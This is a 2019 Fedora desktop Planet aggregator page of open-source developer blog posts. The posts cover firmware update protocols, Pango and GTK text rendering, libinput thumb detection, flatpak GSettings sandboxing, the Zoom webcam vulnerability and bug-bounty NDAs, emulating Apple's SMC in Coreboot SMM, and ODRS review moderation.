Fedora desktop Planet

Musings on the Microsoft Component Firmware Update (CFU) Protocol

Posted by Richard Hughes on August 15, 2019 10:23 AM

CFU is a new specification from Microsoft designed to be the one true protocol for updating hardware. No vendor seems to be shipping hardware supporting CFU (yet?), although I’ve had two peripheral vendors ask my opinion which is why I’m posting here.

CFU has a bazaar pre-download phase before sending the firmware to the microcontroller so the uC can check if the firmware is required and compatible. CFU also requires devices to be able to transfer the entire new transfer mode in runtime mode. The pre-download “offer” allows the uC to check any sub-components attached (e.g. other devices attached to the SoC) and forces it to do dep resolution in case sub-components have to be updated in a specific order.

Pushing the dep resolution down to the uC means the uC has to do all the version comparisons and also know all the logic with regard to protocol incompatibilities. You could be in a position where the uC firmware needs to be updated so that it “knows” about the new protocol restrictions, which are needed to update the uC and the things attached in the right order in a subsequent update. If we always update the uC to the latest, the probably-factory-default running version doesn’t know about the new restrictions.

The other issue with this is that the peripheral is unaware of the other devices in the system, so for instance couldn’t only install a new firmware version for only new builds of Windows for example. Something that we support in fwupd is being able to restrict the peripheral device firmware to a specific SMBIOS CHID or a system firmware vendor, which lets vendors solve the “same hardware in different chassis, with custom firmware” problem. I don’t see how that could be possible using CFU unless I misunderstand the new .inf features. All the dependency resolution should be in the metadata layer (e.g. in the .inf file) rather than being pushed down to the hardware running the old firmware.

What is possibly the biggest failure I see is the doubling of flash storage required to do an runtime transfer, the extra power budget of being woken up to process the “offer” and enough bulk power to stay alive if “unplugged” during a A/B swap. Realistically it’s an extra few dollars for a ARM uC to act as a CFU “bridge” for legacy silicon and IP, which I can’t see as appealing to an ODM given they make other strange choices just to save a few cents on a BOM. I suppose the CFU “bridge” could also do firmware signing/encryption but then you still have a physical trace on the PCB with easy-to-read/write unsigned firmware. CFU could have defined a standardized way to encrypt and sign firmware, but they kinda handwave it away letting the vendors do what they think is best, and we all know how that plays out.

CFU downloads in the runtime mode, but from experience, most of the devices can transfer a few hundred Kb in less than ~200ms. Erasing flash is typically the slowest thing, typically less than 2s, writing next at ~1s both done in the bootloader phase. I’ve not seen a single device that can do a flash-addr-swap to be able to do the A/B solution they’ve optimized for, with the exception of enterprise UEFI firmware which CFU can’t update anyway.

By far the longest process in the whole update step is the USB re-enumeration (up to twice) which we have to allow 5s (!!!) for in fwupd due to slow hubs and other buggy hardware. So, CFU doubles the flash size requirement for millions of device to save ~5 seconds for a procedure which might be done once or twice in the devices lifetime. It’s also not the transfer that’s the limitation even over bluetooth as if the dep resolution is “higher up” you only need to send the firmware to the device when it needs an update, rather that every time you scan the device.

I’m similarly unimpressed with the no-user-interaction idea where firmware updates just happen in the background, as the user really needs to know when the device is going to disappear and re-appear for 5 seconds (even CFU has to re-enumerate…) — image it happening during a presentation or as the machine is about to have the lid shut to go into S3.

so, tl;dr: Not a fan, but could support in fwupd if required.

libfprint 1.0 (and fprintd 0.9.0)

Posted by Bastien Nocera on August 08, 2019 01:53 PM
After more than a year of work libfprint 1.0 has just been released!

It contains a lot of bug fixes for a number of different drivers, which would make it better for any stable or unstable release of your OS.

There was a small ABI break between versions 0.8.1 and 0.8.2, which means that any dependency (really just fprintd) will need to be recompiled. And it's good seeing as we also have a new fprintd release which also fixes a number of bugs.

Benjamin Berg will take over maintenance and development of libfprint with the goal of having a version 2 in the coming months that supports more types of fingerprint readers that cannot be supported with the current API.

From my side, the next step will be some much needed modernisation for fprintd, both in terms of code as well as in the way it interacts with users.

Pango 1.44 wrap-up

Posted by Matthias Clasen on August 07, 2019 09:06 PM

In my last post discussing changes in Pango 1.44, I’ve asked for feedback. We’ve received some, thanks to everybody who reported issues!

We tried to address some of the fallout in several follow-up releases. I’ll do a 1.44.4 release with the last round of fixes before too long.

Here is a summary.

Bitmap fonts

As expected, not supporting Type 1 and BDF fonts anymore is an unwelcome change for people whose favorite fonts are in these formats.

Clearly, a robust conversion script would be a very good thing to have; people have had mixed success with fontforge-based scripts (see this issue). I hope that we can get some help from the font packager community with this.

One follow-up fix that we did here is to make sure that Pango’s font enumeration code does not return fonts in formats that we don’t support. This makes font fallback work to replace bitmap fonts, and helps to avoid ‘black box’ output.

Subpixel positioning

Font rendering is a sensitive topic; every change here is likely to upset some people (in particular those with carefully tuned font setups).

We did not help things by enabling subpixel positioning unconditionally in Pango, when it is only supported in cairo master.  When used with the released cairo, this leads to unpleasantly uneven glyph placement.  Even with cairo master, some compositors have not been updated to support subpixel positioning (e.g. win32, xcb).

To address this problem, subpixel positioning is now optional, and off by default. Use

pango_context_set_round_glyph_positions (context, FALSE)

to turn it on.

Even without subpixel positioning, there is are still small differences in glyph positioning between Pango 1.43 and 1.44. These are caused by differences in glyph extent calculations between cairo and harfbuzz; see this issue for the ongoing discussion.

API changes

I was a bit overzealous in my attempt to reduce our dependency on freetype when I changed the return type of pango_fc_font_lock_face() to gpointer. This is a harmless change for the C API, but it broke some users of Pango in C++. The next release will have the old return type back.

Line spacing

Another new feature that turned out to be better of being off by default is the new line spacing. In the initial 1.44 release, it was on by default, causing line spacing UIs (e.g. in the GIMP) to stop working, which is not acceptable. It is now off by default. Call

pango_layout_set_line_spacing (layout, factor)

to enable it.

Hyphenation

We’ve received one bug report pointing out that hyphens could be confusing in some contexts, for example when breaking filenames. As a consequence, there is  now a text attribute to suppress the insertion of hyphens.

Miscellaneous bugs

Naturally, some bugs crept in; there were some crash fixes, and some hyphens got inserted in the wrong place (such as: hyphens after hyphens, or hyphens after spaces). These were easy.

One bug that took me a while to track down was making lines grow higher when they are ellipsized, causing misrendering. It turned out to be a mixup with text attributes, that let us to pick the wrong font  for the ellipsis character. This will be fixed in the next release.

More text rendering updates

Posted by Matthias Clasen on July 27, 2019 08:53 PM

There is a Pango 1.44 release now. It contains all the changes I outlined recently. We also managed to sneak in a few features and fixes for longstanding bugs. That is the topic of this post.

Line breaking

One area for improvements in this release is line breaking.

Hyphenation

We don’t have TeX-style automatic hyphenation yet (although it may happen eventually). But at least, Pango inserts hyphens now when it breaks a line in the middle of a word (for example, at a soft hyphen character).

<figure aria-describedby="caption-attachment-3701" class="wp-caption aligncenter" id="attachment_3701" style="width: 300px"><figcaption class="wp-caption-text" id="caption-attachment-3701">Example with soft hyphens</figcaption></figure>

This is something i have wanted to do for a very long time, so I am quite happy that switching to harfbuzz for shaping on all platforms has finally enabled us to do this without too much effort.

Better line breaks

Pango follows Unicode UAX14 and UAX29 for finding word boundaries and line break opportunities.  The algorithm described in there is language-independent, but allows for language-specific tweaks. The Unicode standard calls this tailoring.

While Pango has had implementations for both the language-independent and -dependent parts before, we didn’t have them clearly separated in the API, until now.

In 1.44, we introduce a new pango_tailor_break() function which applies language-specific tweaks to a segment of text that has a uniform language. It is meant to be called after pango_default_break().

Line break control

Since my focus was on line-breaking already, I’ve added support for a text attribute to control line breaking. You can now say:

Don't break <span allow_break="false">here!</span>

in Pango markup, and Pango will obey.

In the hyphenation example above, the words showing possible hyphenation points (like im‧peachment) are marked up in this way.

Placement

Another area with significant changes is placement, both of lines and of individual glyphs.

Line height

Up to now, Pango has been placing the lines of a paragraph directly below each other, possibly with a fixed amount of spacing between them. While this works ok most of the time, a more typographically correct way to go about this is to control the baseline-to-baseline distance between lines.

Fonts contain a recommended value for this distance, so the first step was to make this value available with a new pango_font_metrics_get_height() API.

To make use of it, we added a new parameter to PangoLayout that tells it to place lines according to baseline-to-baseline distance. Once we had this, it was very easy to turn the parameter into a floating point number and allow things like double-spaced lines, by saying

pango_layout_set_line_spacing (layout, 2.0)
<figure aria-describedby="caption-attachment-3719" class="wp-caption aligncenter" id="attachment_3719" style="width: 300px"><figcaption class="wp-caption-text" id="caption-attachment-3719">Line spacing 1, 1.5, and 2</figcaption></figure>

You can still use the old way of spacing if you set line-spacing to 0.

Subpixel positions

Pango no longer rounds glyph positions and font metrics to integral pixel numbers. This lets consumers of the formatted glyphs (basically, implementations of PangoRenderer) decide for themselves if they want to place glyphs at subpixel positions or pixel-aligned.

<figure aria-describedby="caption-attachment-3728" class="wp-caption aligncenter" id="attachment_3728" style="width: 300px"><figcaption class="wp-caption-text" id="caption-attachment-3728">Non-integral extents</figcaption></figure>

The cairo renderer in libpangocairo will do subpixel positioning, but you need cairo master for best results. GTK master will soon have the necessary changes to take advantage of it for its GL and Vulkan renderers too.

This is likely one of the more controversial changes in this release—any change to font rendering causes strong reactions. One of the reasons for doing the release now is that it gives us enough time to make sure it works ok for all users of Pango before going out in the next round of upstream and distro releases in the fall.

Visualization

Finally, I spent some time implementing  some long-requested features around missing glyphs, and their rendering as hex boxes. These are also known as tofu (which is the origin of the name for the Noto fonts – ‘no tofu’).

Invisible space

Some fonts don’t have a glyph for the space character – after all, there is nothing to draw. In the past, Pango would sometimes draw a hex box in this case. This is entirely unnecessary – we can just leave a gap of the right size and pretend that nothing happened.  Pango 1.44 will do just that: no more hex boxes for space.

Visible space

On the other hand, sometimes you do want to see where spaces and other whitespace characters such as tabs, are. We’ve added an attribute that lets you request visible rendering of whitespace:

<span show="spaces">Some space here</span>
<figure aria-describedby="caption-attachment-3731" class="wp-caption aligncenter" id="attachment_3731" style="width: 300px"><figcaption class="wp-caption-text" id="caption-attachment-3731">Visible space</figcaption></figure>

This is implemented in the cairo backend, so you will need to use pangocairo to see it.

Special characters

In the same vein, sometimes it is helpful to see special characters such as left-to-right controls in the output.  Unicode calls these characters default-ignorable.

The show attribute also lets you make default-ignorables visible:

<span show=”ignorables”>Hidden treasures</span>

<figure aria-describedby="caption-attachment-3734" class="wp-caption aligncenter" id="attachment_3734" style="width: 300px"><figcaption class="wp-caption-text" id="caption-attachment-3734">Visible default-ignorable characters</figcaption></figure>

As you can see, we use nicknames for ignorables.

Font information

Pango has been shipping a simple tool called pango-list for a while. It produces a list of all the fonts Pango can find.  This can be very helpful in tracking down changes between systems that are caused by differences in the available fonts.

In 1.44, pango-list can optionally show font metrics and variation axes as well. This may be a little obsure, but it has helped me fix the CI tests for Pango.

Summary

This release contains a significant amount of change; I’ve closed a good number of ‘teenage’ bugs while working on it. Please let us know if you see problems or unexpected changes with it!

Westcoast hackfest; GTK updates

Posted by Matthias Clasen on July 21, 2019 11:51 PM

After Behdad left, Christian and I turned our attention to GtkTextView, and made some progress.

Scrolling

GtkTextView is a very old widget. It started out as a port of the tk text widget, and it has not seen a lot of architectural updates over the years. A few years ago, we added a pixel cache to it, to improve its scrolling, but on a high resolution display, its still a lot of pixels to shovel around.

As we’ve moved widgets to GTK4’s rendering models, everybody avoided GtkTextView, so it was using the fallback cairo rendering path, even as we ported other text rendering in GTK to a new pango renderer which produces render nodes.

Until yesterday. We decided to just have a look at how hard it would be to switch the text view over to the new pango renderer. This went much more smoothly than we expected, and the new code is in master today.

<iframe allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="allowfullscreen" frameborder="0" height="267" src="https://www.youtube.com/embed/zDLCJCX1kL0?feature=oembed" title="Gtk 4 smooth scrolling with GPU backed textview" width="474"></iframe>

So far, this is just a straight port with no optimizations (we want to look at smarter caching of render nodes for the visible range). But it is already noticeably smoother to scroll text.

The video does not really do it justice. If you want to try for yourself, the commit is here.

Blinking

After this unexpected success, we looked for another small thing we could to make text editing in GTK feel more modern: better blinking cursors.

<video class="wp-video-shortcode" controls="controls" height="267" id="video-3230-1" preload="metadata" width="474"><source src="https://blogs.gnome.org/mclasen/files/2019/07/cursor-blinks.webm?_=1" type="video/webm">https://blogs.gnome.org/mclasen/files/2019/07/cursor-blinks.webm</video>

For the last 20 years, our cursor blinking was very simple: We turn it off, and then we turn it on again. With GTK4, it is very straightforward to do a little better, and fade the cursor in and out smoothly.

A subtle change, but it improves the experience.

Pango updates

Posted by Matthias Clasen on July 19, 2019 07:35 PM
<header class="entry-header">I have recently spent some time on Pango again, in preparation for the Westcoast hackfest. Behdad is here, and we’ve made great progress on the first day.

</header>

My last Pango update laid out our plans for Pango. Today I’ll summarize the major changes that will be in the next Pango release, 1.44.

Unicode APIs

I had a planned to replace PangoScript by GUnicodeScript outright, but doing so caused breakage in introspection and elsewhere. So, for now, we’ve just deprecated it and recommend that everybody should use GUnicodeScript instead. We did get a registered GType for this (and other) enumerations into GObject, so the lack of a type is no longer an obstacle.

Harfbuzz passthrough

We have added an api to get a Harfbuzz font object from a PangoFont:

hb_font_t *pango_font_get_hb_font (PangoFont *f)

This makes technologies such as OpenType features or variations available to applications without adding more Pango apis in the future.

Reduced freetype dependency

Pango uses harfbuzz for getting font and glyph metrics , glyph IDs and other kinds of font information now, so we don’t need an FT_Face anymore, and pango_fc_font_lock_face() has been deprecated.

Unified shaping

We are using harfbuzz for shaping on all platforms now.  This has allowed us to drop the remaining internal uses of shape and language engines.

Unhinted rendering

Pango no longer forces glyph positions and sizes to be on integral pixel positions. This allows renderers to place glyphs on a subpixel grid. cairo master has the necessary changes to make this work.

libinput's new thumb detection code

Posted by Peter Hutterer on July 18, 2019 08:40 AM

The average user has approximately one thumb per hand. That thumb comes in handy for a number of touchpad interactions. For example, moving the cursor with the index finger and clicking a button with the thumb. On so-called Clickpads we don't have separate buttons though. The touchpad itself acts as a button and software decides whether it's a left, right, or middle click by counting fingers and/or finger locations. Hence the need for thumb detection, because you may have two fingers on the touchpad (usually right click) but if those are the index and thumb, then really, it's just a single finger click.

libinput has had some thumb detection since the early days when we were still hand-carving bits with stone tools. But it was quite simplistic, as the old documentation illustrates: two zones on the touchpad, a touch started in the lower zone was always a thumb. Where a touch started in the upper thumb area, a timeout and movement thresholds would decide whether it was a thumb. Internally, the thumb states were, Schrödinger-esque, "NO", "YES", and "MAYBE". On top of that, we also had speed-based thumb detection - where a finger was moving fast enough, a new touch would always default to being a thumb. On the grounds that you have no business dropping fingers in the middle of a fast interaction. Such a simplistic approach worked well enough for a bunch of use-cases but failed gloriously in other cases.

Thanks to Matt Mayfields' work, we now have a much more sophisticated thumb detection algorithm. The speed detection is still there but it better accounts for pinch gestures and two-finger scrolling. The exclusion zones are still there but less final about the state of the touch, a thumb can escape that "jail" and contribute to pointer motion where necessary. The new documentation has a bit of a general overview. A requirement for well-working thumb detection however is that your device has the required (device-specific) thresholds set up. So go over to the debugging thumb thresholds documentation and start figuring out your device's thresholds.

As usual, if you notice any issues with the new code please let us know, ideally before the 1.14 release.

ASG! 2019 CfP Re-Opened!

Posted by Lennart Poettering on July 14, 2019 10:00 PM

<large>The All Systems Go! 2019 Call for Participation Re-Opened for ONE DAY!</large>

Due to popular request we have re-opened the Call for Participation (CFP) for All Systems Go! 2019 for one day. It will close again TODAY, on 15 of July 2019, midnight Central European Summit Time! If you missed the deadline so far, we’d like to invite you to submit your proposals for consideration to the CFP submission site quickly! (And yes, this is the last extension, there's not going to be any more extensions.)

ASG image

All Systems Go! is everybody's favourite low-level Userspace Linux conference, taking place in Berlin, Germany in September 20-22, 2019.

For more information please visit our conference website!

Settings, in a sandbox world

Posted by Matthias Clasen on July 12, 2019 06:19 PM

GNOME applications (and others) are commonly using the GSettings API for storing their application settings.

GSettings has many nice aspects:

  • flexible data types, with GVariant
  • schemas, so others can understand your settings (e.,g. dconf-editor)
  • overrides, so distros can tweak defaults they don’t like

And it has different backends, so it can be adapted to work transparently in many situations. One example for where this comes in handy is when we use a memory backend to avoid persisting any settings while running tests.

The GSettings backend that is typically used for normal operation is the DConf one.

DConf

DConf features include profiles,  a stack of databases, a facility for locking down keys so they are not writable, and a single-writer design with a central service.

The DConf design is flexible and enterprisey – we have taken advantage of this when we created fleet commander to centrally manage application and desktop settings for large deployments.

But it is not a great fit for sandboxing, where we want to isolate applications from each other and from the host system.  In DConf, all settings are stored in a single database, and apps are free to read and write any keys, not just their own – plenty of potential for mischief and accidents.

Most of the apps that are available as flatpaks today are poking a ‘DConf hole’ into their sandbox to allow the GSettings code to keep talking to the dconf daemon on the session bus, and mmap the dconf database.

Here is how the DConf hole looks in the flatpak metadata file:

[Context]
filesystems=xdg-run/dconf;~/.config/dconf:ro;

[Session Bus Policy]
ca.desrt.dconf=talk

Sandboxes

Ideally, we want sandboxed apps to only have access to their own settings, and maybe readonly access to a limited set of shared settings (for things like the current font, or accessibility settings). It would also be nice if uninstalling a sandboxed app did not leave traces behind, like leftover settings  in some central database.

It might be possible to retrofit some of this into DConf. But when we looked, it did not seem easy, and would require reconsidering some of the central aspects of the DConf design. Instead of going down that road, we decided to take advantage of another GSettings backend that already exists, and stores settings in a keyfile.

Unsurprisingly, it is called the keyfile backend.

Keyfiles

The keyfile backend was originally created to facilitate the migration from GConf to GSettings, and has been a bit neglected, but we’ve given it some love and attention, and it can now function as the default GSettings backend inside sandboxes.

It provides many of the isolation aspects we want: Apps can only read and write their own settings, and the settings are in a single file, in the same place as all the application data:

~/.var/app/$APP/config/glib-2.0/settings/keyfile

One of the things we added to the keyfile backend is support for locks and overrides, so that fleet commander can keep working for apps that are in flatpaks.

For shared desktop-wide settings, there is a companion Settings portal, which provides readonly access to some global settings. It is used transparently by GTK and Qt for toolkit-level settings.

What does all this mean for flatpak apps?

If your application is not yet available as a flatpak, and you want to provide one, you don’t have to do anything in particular. Things will just work. Don’t poke a hole in your sandbox for DConf, and GSettings will use the keyfile backend without any extra work on your part.

If your flatpak is currently shipping with a DConf hole, you can keep doing that for now. When you are ready for it, you should

  • Remove the DConf hole from your flatpak metadata
  • Instruct flatpak to migrate existing DConf settings, by adding a migrate-path setting to the X-DConf section in your flatpak metadata. The value fo the migrate-path key is the DConf path prefix where your application’s settings are stored.

Note that this is a one-time migration; it will only happen if the keyfile does not exist. The existing settings will be left in the DConf database, so if you need to do the migration again for whatever reason, you can simply remove the the keyfile.

This is how the migrate-path key looks in the metadata file:

[X-DConf]
migrate-path=/org/gnome/builder/

Closing the DConf hole is what makes GSettings use the keyfile backend, and the migrate-path key tells flatpak to migrate settings from DConf – you need both parts for a seamless transition.

There were some recent fixes to the keyfile backend code, so you want to make sure that the runtime has GLib 2.60.6, for best results.

Happy flatpaking!

Update: One of the most recent fixes in the keyfile backend was to correct under what circumstances GSettings will choose it as the default backend. If you have problems where the wrong backend is chosen, as a short-term workaround, you can override the choice with the GSETTINGS_BACKEND environment variable.

Update 2: To add the migrate-path setting with flatpak-builder, use the following option:

--metadata=X-DConf=migrate-path=/your/path/


GNOME Software in Fedora will no longer support snapd

Posted by Richard Hughes on July 12, 2019 12:51 PM

In my slightly infamous email to fedora-devel I stated that I would turn off the snapd support in the gnome-software package for Fedora 31. A lot of people agreed with the technical reasons, but failed to understand the bigger picture and asked me to explain myself.

I wanted to tell a little, fictional, story:

In 2012 the ISO institute started working on a cross-vendor petrol reference vehicle to reduce the amount of R&D different companies had to do to build and sell a modern, and safe, saloon car.

Almost immediately, Mercedes joins ISO, and starts selling the ISO car. Fiat joins in 2013, Peugeot in 2014 and General Motors finally joins in 2015 and adds support for Diesel engines. BMW, who had been trying to maintain the previous chassis they designed on their own (sold as “BMW Kar Koncept”), finally adopts the ISO car also in 2015. BMW versions of the ISO car use BMW-specific transmission oil as it doesn’t trust oil from the ISO consortium.

Mercedes looks to the future, and adds high-voltage battery support to the ISO reference car also in 2015, adding the required additional wiring and regenerative braking support. All the other members of the consortium can use their own high voltage batteries, or use the reference battery. The battery can be charged with electricity from any provider.

In 2016 BMW stops marketing the “ISO Car” like all the other vendors, and instead starts calling it “BMW Car” instead. At about the same time BMW adds support for hydrogen engines to the reference vehicle. All the other vendors can ship the ISO car with a Hydrogen engine, but all the hydrogen must be purchased from a BMW-certified dealer. If any vendor other than BMW uses the hydrogen engines, they can’t use the BMW-specific heat shield which protects the fuel tank from exploding in the event on a collision.

In 2017 Mercedes adds traction control and power steering to the ISO reference car. It is enabled almost immediately and used by nearly all the vendors with no royalties and many customer lives are saved.

In 2018 BMW decides that actually producing vendor-specific oil for it’s cars is quite a lot of extra work, and tells all customers existing transmission oil has to be thrown away, but now all customers can get free oil from the ISO consortium. The ISO consortium distributes a lot more oil, but also has to deal with a lot more customer queries about transmission failures.

In 2019 BMW builds a special cut-down ISO car, but physically removes all the petrol and electric functionality from the frame. It is rebranded as “Kar by BMW”. It then sends a private note to the chair of the ISO consortium that it’s not going to be using ISO car in 2020, and that it’s designing a completely new “Kar” that only supports hydrogen engines and does not have traction control or seatbelts. The explanation given was that BMW wanted a vehicle that was tailored specifically for hydrogen engines. Any BMW customers using petrol or electricity in their car must switch to hydrogen by 2020.

The BMW engineers that used to work on ISO Car have been shifted to work on Kar, although have committed to also work on Car if it’s not too much extra work. BMW still want to be officially part of the consortium and to be able to sell the ISO Car as an extra vehicle to the customer that provides all the engine types (as some customers don’t like hydrogen engines), but doesn’t want to be seen to support anything other than a hydrogen-based future. It’s also unclear whether the extra vehicle sold to customers would be the “ISO Car” or the “BMW Car”.

One ISO consortium member asks whether they should remove hydrogen engine support from the ISO car as they feel BMW is not playing fair. Another consortium member thinks that the extra functionality could just be disabled by default and any unused functionality should certainly be removed. All members of the consortium feel like BMW has pushed them too far. Mercedes stop selling the hydrogen ISO Car model stating it’s not safe without the heat shield, and because BMW isn’t going to be supporting the ISO Car in 2020.

Bug bounties and NDAs are an option, not the standard

Posted by Matthew Garrett on July 09, 2019 09:15 PM
Zoom had a vulnerability that allowed users on MacOS to be connected to a video conference with their webcam active simply by visiting an appropriately crafted page. Zoom's response has largely been to argue that:

a) There's a setting you can toggle to disable the webcam being on by default, so this isn't a big deal,
b) When Safari added a security feature requiring that users explicitly agree to launch Zoom, this created a poor user experience and so they were justified in working around this (and so introducing the vulnerability), and,
c) The submitter asked whether Zoom would pay them for disclosing the bug, and when Zoom said they'd only do so if the submitter signed an NDA, they declined.

(a) and (b) are clearly ludicrous arguments, but (c) is the interesting one. Zoom go on to mention that they disagreed with the severity of the issue, and in the end decided not to change how their software worked. If the submitter had agreed to the terms of the NDA, then Zoom's decision that this was a low severity issue would have led to them being given a small amount of money and never being allowed to talk about the vulnerability. Since Zoom apparently have no intention of fixing it, we'd presumably never have heard about it. Users would have been less informed, and the world would have been a less secure place.

The point of bug bounties is to provide people with an additional incentive to disclose security issues to companies. But what incentive are they offering? Well, that depends on who you are. For many people, the amount of money offered by bug bounty programs is meaningful, and agreeing to sign an NDA is worth it. For others, the ability to publicly talk about the issue is worth more than whatever the bounty may award - being able to give a presentation on the vulnerability at a high profile conference may be enough to get you a significantly better paying job. Others may be unwilling to sign an NDA on principle, refusing to trust that the company will ever disclose the issue or fix the vulnerability. And finally there are people who can't sign such an NDA - they may have discovered the issue on work time, and employer policies may prohibit them doing so.

Zoom are correct that it's not unusual for bug bounty programs to require NDAs. But when they talk about this being an industry standard, they come awfully close to suggesting that the submitter did something unusual or unreasonable in rejecting their bounty terms. When someone lets you know about a vulnerability, they're giving you an opportunity to have the issue fixed before the public knows about it. They've done something they didn't need to do - they could have just publicly disclosed it immediately, causing significant damage to your reputation and potentially putting your customers at risk. They could potentially have sold the information to a third party. But they didn't - they came to you first. If you want to offer them money in order to encourage them (and others) to do the same in future, then that's great. If you want to tie strings to that money, that's a choice you can make - but there's no reason for them to agree to those strings, and if they choose not to then you don't get to complain about that afterwards. And if they make it clear at the time of submission that they intend to publicly disclose the issue after 90 days, then they're acting in accordance with widely accepted norms. If you're not able to fix an issue within 90 days, that's very much your problem.

If your bug bounty requires people sign an NDA, you should think about why. If it's so you can control disclosure and delay things beyond 90 days (and potentially never disclose at all), look at whether the amount of money you're offering for that is anywhere near commensurate with the value the submitter could otherwise gain from the information and compare that to the reputational damage you'll take from people deciding that it's not worth it and just disclosing unilaterally. And, seriously, never ask for an NDA before you're committing to a specific $ amount - it's never reasonable to ask that someone sign away their rights without knowing exactly what they're getting in return.

tl;dr - a bug bounty should only be one component of your vulnerability reporting process. You need to be prepared for people to decline any restrictions you wish to place on them, and you need to be prepared for them to disclose on the date they initially proposed. If they give you 90 days, that's entirely within industry norms. Remember that a bargain is being struck here - you offering money isn't being generous, it's you attempting to provide an incentive for people to help you improve your security. If you're asking people to give up more than you're offering in return, don't be surprised if they say no.

comment count unavailable comments

Creating hardware where no hardware exists

Posted by Matthew Garrett on July 07, 2019 07:46 PM
The laptop industry was still in its infancy back in 1990, but it still faced a core problem that we do today - power and thermal management are hard, but also critical to a good user experience (and potentially to the lifespan of the hardware). This is in the days where DOS and Windows had no memory protection, so handling these problems at the OS level would have been an invitation for someone to overwrite your management code and potentially kill your laptop. The safe option was pushing all of this out to an external management controller of some sort, but vendors in the 90s were the same as vendors now and would do basically anything to avoid having to drop an extra chip on the board. Thankfully(?), Intel had a solution.

The 386SL was released in October 1990 as a low-powered mobile-optimised version of the 386. Critically, it included a feature that let vendors ensure that their power management code could run without OS interference. A small window of RAM was hidden behind the VGA memory[1] and the CPU configured so that various events would cause the CPU to stop executing the OS and jump to this protected region. It could then do whatever power or thermal management tasks were necessary and return control to the OS, which would be none the wiser. Intel called this System Management Mode, and we've never really recovered.

Step forward to the late 90s. USB is now a thing, but even the operating systems that support USB usually don't in their installers (and plenty of operating systems still didn't have USB drivers). The industry needed a transition path, and System Management Mode was there for them. By configuring the chipset to generate a System Management Interrupt (or SMI) whenever the OS tried to access the PS/2 keyboard controller, the CPU could then trap into some SMM code that knew how to talk to USB, figure out what was going on with the USB keyboard, fake up the results and pass them back to the OS. As far as the OS was concerned, it was talking to a normal keyboard controller - but in reality, the "hardware" it was talking to was entirely implemented in software on the CPU.

Since then we've seen even more stuff get crammed into SMM, which is annoying because in general it's much harder for an OS to do interesting things with hardware if the CPU occasionally stops in order to run invisible code to touch hardware resources you were planning on using, and that's even ignoring the fact that operating systems in general don't really appreciate the entire world stopping and then restarting some time later without any notification. So, overall, SMM is a pain for OS vendors.

Change of topic. When Apple moved to x86 CPUs in the mid 2000s, they faced a problem. Their hardware was basically now just a PC, and that meant people were going to try to run their OS on random PC hardware. For various reasons this was unappealing, and so Apple took advantage of the one significant difference between their platforms and generic PCs. x86 Macs have a component called the System Management Controller that (ironically) seems to do a bunch of the stuff that the 386SL was designed to do on the CPU. It runs the fans, it reports hardware information, it controls the keyboard backlight, it does all kinds of things. So Apple embedded a string in the SMC, and the OS tries to read it on boot. If it fails, so does boot[2]. Qemu has a driver that emulates enough of the SMC that you can provide that string on the command line and boot OS X in qemu, something that's documented further here.

What does this have to do with SMM? It turns out that you can configure x86 chipsets to trap into SMM on arbitrary IO port ranges, and older Macs had SMCs in IO port space[3]. After some fighting with Intel documentation[4] I had Coreboot's SMI handler responding to writes to an arbitrary IO port range. With some more fighting I was able to fake up responses to reads as well. And then I took qemu's SMC emulation driver and merged it into Coreboot's SMM code. Now, accesses to the IO port range that the SMC occupies on real hardware generate SMIs, trap into SMM on the CPU, run the emulation code, handle writes, fake up responses to reads and return control to the OS. From the OS's perspective, this is entirely invisible[5]. We've created hardware where none existed.

The tree where I'm working on this is here, and I'll see if it's possible to clean this up in a reasonable way to get it merged into mainline Coreboot. Note that this only handles the SMC - actually booting OS X involves a lot more, but that's something for another time.

[1] If the OS attempts to access this range, the chipset directs it to the video card instead of to actual RAM.
[2] It's actually more complicated than that - see here for more.
[3] IO port space is a weird x86 feature where there's an entire separate IO bus that isn't part of the memory map and which requires different instructions to access. It's low performance but also extremely simple, so hardware that has no performance requirements is often implemented using it.
[4] Some current Intel hardware has two sets of registers defined for setting up which IO ports should trap into SMM. I can't find anything that documents what the relationship between them is, but if you program the obvious ones nothing happens and if you program the ones that are hidden in the section about LPC decoding ranges things suddenly start working.
[5] Eh technically a sufficiently enthusiastic OS could notice that the time it took for the access to occur didn't match what it should on real hardware, or could look at the CPU's count of the number of SMIs that have occurred and correlate that with accesses, but good enough

comment count unavailable comments

Fun with the ODRS, part 2

Posted by Richard Hughes on July 05, 2019 07:58 PM

For the last few days I’ve been working on the ODRS, the review server used by GNOME Software and other open source software centers. I had to do a lot of work initially to get the codebase up to modern standards, but now it has unit tests (86% coverage!), full CI and is using the latest versions of everything. All this refactoring allowed me to add some extra new features we’ve needed for a while.

The first feature changes how we do moderation. The way the ODRS works means that any unauthenticated user can mark a review for moderation for any reason in just one click. This means that it’s no longer shown to any other user and requires a moderator to perform one of three actions:

  • Decide it’s okay, and clear the reported counter back to zero
  • Decide it’s not very good, and either modify it or delete it
  • Decide it’s spam or in any way hateful, and delete all the reviews from the submitter, adding them to the user blocklist

For the last few years it’s been mostly me deciding on the ~3k marked-for-moderatation reviews with the help of Google Translate. Let me tell you, after all that my threshold for dealing with internet trolls is super low. There are already over 60 blocked users on the ODRS, although they’ll never really know they are shouting into /dev/null

One change I’ve made here is that it now takes two “reports” of a review before it needs moderation; the logic being that a lot of reports seem accidental and a really bad review is already normally reported by multiple people in the few days after it’s been posted. The other change is that we now have a locale-specific “bad word list” that submitted reports are checked against at submission time. If they are flagged, the moderator has to decide on the action before it’s ever shown to other users. This has already correctly flagged 5 reviews in the couple of days since it was deployed. If you contributed to the spreadsheet with “bad words” for your country I’m very grateful. That bad word list will be available as a JSON dump on the ODRS on Monday in case it’s useful to other people. I fully expect it’ll grow and change over time.

The other big change is dealing with different application IDs. Over the last decade some applications have moved from “launchable-style” inkscape.desktop IDs to AppStream-style IDs like org.inkscape.Inkscape.desktop and are even reported in different forms, e.g. the Flathub-inspired org.inkscape.Inkscape and the Snappy io.snapcraft.inkscape-tIrcA87dMWthuDORCCRU0VpidK5SBVOc. Until today a review submitted against the old desktop ID wouldn’t match for the Flatpak one, and now it does. The same happens when we get the star ratings which means that apps that change ID don’t start with a clean slate and inherit all the positivity of the old version. Of course, the usual per-request ordering and filtering is done, so older versions than the one requested might be shown lower than newer versions anyway.

This is also your monthly reminder to use <provides><id>oldname.desktop</id></provides> in your metainfo.xml file if you change your desktop ID. That includes you Flathub and Snapcraft maintainers too. If you do that client side then you at least probably get the right reviews if the software center does the right thing, but doing it server side as well makes really sure you’re getting the reviews and ratings you want in all cases.

